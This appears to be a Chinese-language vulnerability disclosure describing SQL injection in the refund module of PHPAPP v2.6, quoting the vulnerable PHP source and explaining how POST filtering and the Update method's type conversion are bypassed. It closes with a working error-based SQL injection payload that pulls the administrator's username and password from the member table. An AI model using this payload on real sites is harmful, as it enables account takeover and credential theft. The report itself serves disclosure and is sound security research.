### 简要描述:
PHPAPP注入第四枚(各种无视过滤)
### 详细说明:
在wooyun上看到了有人提了PHPAPP的漏洞: http://wooyun.org/bugs/wooyun-2010-055604,然后去官网看了看,前几天刚有更新,就在官网下了PHPAPP最新的v2.6来看看(2014-12-11更新的)。
PSOT注入点:wwww.xxx.com/member.php?action=1&app=43&cid=1&rid=2, 存在漏洞的文件在/phpapp/apps/refund/member_phpapp.php
下面分析一下漏洞产生的原因
第一处绕过:
先看看是如何得到$_POST中的内容的,$this->POST=$this->POSTArray();去看看POSTArray()
/phpapp/apps/core/class/core_class_phpapp.php
```
function POSTArray(){
$postarr=array();
if(is_array($_POST)){
foreach($_POST as $key=>$value){
$keyarr=explode('_',$key);
$count=count($keyarr);
if($count>1){
$keyname='';
for($i=0;$i
if($keyname){
$keyname.='_'.$keyarr[$i];
}else{
$keyname=$keyarr[$i];
}
}
if($keyarr[$count-1]=='s'){
$isajax=empty($_SERVER['HTTP_X_REQUESTED_WITH']) ? '' : $_SERVER['HTTP_X_REQUESTED_WITH'];
if($isajax=='XMLHttpRequest'){
$value=$this->ConvertStr($value);
}
$postarr[$keyname]=$this->str($value,0,1,0,0,0,1);
}elseif($keyarr[$count-1]=='d'){
$postarr[$keyname]=intval($value);
}elseif($keyarr[$count-1]=='f'){
$postarr[$keyname]=floatval($value);
}else{
$postarr[$key]=$value;
}
}else{
$postarr[$key]=$value;
}
}
}
return $postarr;
}
```
可以看到有这么一句判断if($keyarr[$count-1]=='s'),即如果key的最后一个字母是’s’时,条件成立,用户的输入会经过str方法的防注处理。
如何绕过呢?当然是把key的最后一个字母’_s’删掉!
第二处绕过:
```
if($consumearr['cid']>0){
$sellerarr=$this->GetMysqlOne('uid,username'," ".$this->GetTable('member')." WHERE uid='$consumearr[selleruid]' ");
$buyerarr=$this->GetMysqlOne('uid,username'," ".$this->GetTable('member')." WHERE uid='$consumearr[buyeruid]' ");
if($this->uid!=$consumearr['buyeruid']){
$this->Refresh('对不起!您没有权限操作!',SURL.'/member.php?app='.$this->app.'&action=1&cid='.$this->cid.'&rid='.$this->rid.'&op=1');
}
if($this->POST['submit']){
if($this->IsSQL('refund_money',"WHERE cid='$this->cid' AND process=3")){
$this->Refresh('该订单您已经申请退款并处理过了!',SURL.'/member.php?app='.$this->app.'&action=1');
}
if($consumearr['process']!=6){
$this->POST['money']=floatval($this->POST['money']);
$this->POST['content']=$this->str($this->POST['content'],0,0,0,1,0,0,1);
$consumemoney=$consumearr['amount']+$consumearr['fee'];
if($this->POST['money']> $consumemoney){
$this->Refresh('对不起您申请的退款金额不能大于 '.$consumemoney.' 元!',SURL.'/member.php?app='.$this->app.'&action=1&cid='.$this->cid);
}
include_once(Core.'/class/photo_upload_phpapp.php');
if($_FILES['buyerphoto']['size']>0){
$photoid=empty($refund['buyerphoto']) ? 0 : intval($refund['buyerphoto']);
$upload=new UploadPhoto($_FILES['buyerphoto'],$photoid);
$photoid=$upload->CheckUpload();
}else{
if(!empty($refund['buyerphoto'])){
$photoid=intval($refund['buyerphoto']);
}
}
$this->Update('consume',array('refundmoney'=>$this->POST['money'],'process'=>4),array()," WHERE cid='$consumearr[cid]'");
$edittxt='';
if($this->rid>0){
$edittxt='修改了';
}
if($this->rid>0){
$this->Update('refund_money',$this->POST,array('dateline'=>$this->NowTime(),'buyeruid'=>$consumearr['buyeruid'],'selleruid'=>$consumearr['selleruid'],'tid'=>$consumearr['tid'],'cid'=>$consumearr['cid'],'oid'=>$consumearr['oid'],'buyerphoto'=>$photoid,'process'=>1)," WHERE rid='$this->rid' AND buyeruid='$this->uid'");
}
```
再往下看,看到了这句$this->Update('refund_money',$this->POST,array('dateline'=>$this->NowTime(),'buyeruid'=>$consumearr['buyeruid'],'selleruid'=>$consumearr['selleruid'],'tid'=>$consumearr['tid'],'cid'=>$consumearr['cid'],'oid'=>$consumearr['oid'],'buyerphoto'=>$photoid,'process'=>1)," WHERE rid='$this->rid' AND buyeruid='$this->uid'");把整个post的内容带入了Update方法
再去看看Update方法,/phpapp/apps/core/class/mysql_class_phpapp.php
```
//表名, 修改数组,添加合并数组,条件
function Update($tablename,$setarray=array(),$addarr=array(),$whereif=''){
$setarray=array_merge($setarray,$addarr);
$deletearr=$this->GetMysqlFieldArray($tablename);
if($setarray){
$sqlset='';
foreach($setarray as $key=>$value){
$_key=strtolower($key);
if(isset($deletearr[$_key])){
$value=$this->dataTypeConvert($value,$deletearr[$_key]);
if($sqlset){
$sqlset.=',`'.$_key.'`=\''.$value.'\'';
}else{
$sqlset='`'.$_key.'`=\''.$value.'\'';
}
}
}
$query=sprintf('UPDATE %s SET %s %s',$this->GetTable($tablename),$sqlset,$whereif);
//exit($query);
return $this->MysqlQuery($query);
}else{
return false;
}
}
```
Update代码防注分析:
1、通过GetMysqlFieldArray方法获取数据表的所有字段名及每个字段对应的属性;
2、判断用户post的内容中的key是否是数据表中的字段名,防止了key的注入;
3、通过dataTypeConvert方法把用户提交的数据按数据表中各字段的类型进行防注转换。
如果以上每一步的代码都正确实现了的话,应该是没有办法注入的,但是这里的第3步中,也就是dataTypeConvert方法的实现时有疏忽,看下面代码。
```
function dataTypeConvert($data,$type){
switch($type){
case 'int':
$data=intval($data);
break;
case 'real':
$data=doubleval($data);
break;
case 'timestamp':
$data=intval($data);
break;
case 'string':
case 'year':
case 'date':
case 'time':
case 'datetime':
case 'blob':
default:
//$data=intval($data);
break;
}
return $data;
}
```
只对int、real、timestamp做了处理,其他的类型这里没有处理。
绕过方法:
在提交http请求时,可以提交其他类型的参数,但其他参数必须是数据表(phpapp_refund_money)中的字段,且类型不是int、real、timestamp的参数。这里有多个参数可以注入。
测试时请保证自己的账号有可退款的订单,如果没有的话,(真实的网站肯定可以有订单)为了测试方便,把if($consumearr['cid']>0)改为if(true==true)且把if($this->uid!=$consumearr['buyeruid']){ $this->Refresh('对不起!您没有权限操作!',SURL.'/member.php?app='.$this->app.'&action=1&cid='.$this->cid.'&rid='.$this->rid.'&op=1'); }注释掉
下面以sellercontent为例进行证明:
Phpapp可以显错,那就用error-based blind进行注入。
Pyload:(POST提交)
```
cid=1&submit=2&sellercontent=test' or(select 1 from (select count(*),concat(floor(rand(0)*2),(select concat
(0x23,username,0x23,password) from phpapp_member limit 0,1))a from information_schema.tables group by a)b) or'
```
注入成功,管理员用户名及密码如下图中所示:
[](https://images.seebug.org/upload/201412/2523363403d37214f83c1894eb3246e295bac3e0.jpg)
### 漏洞证明:
见 详细证明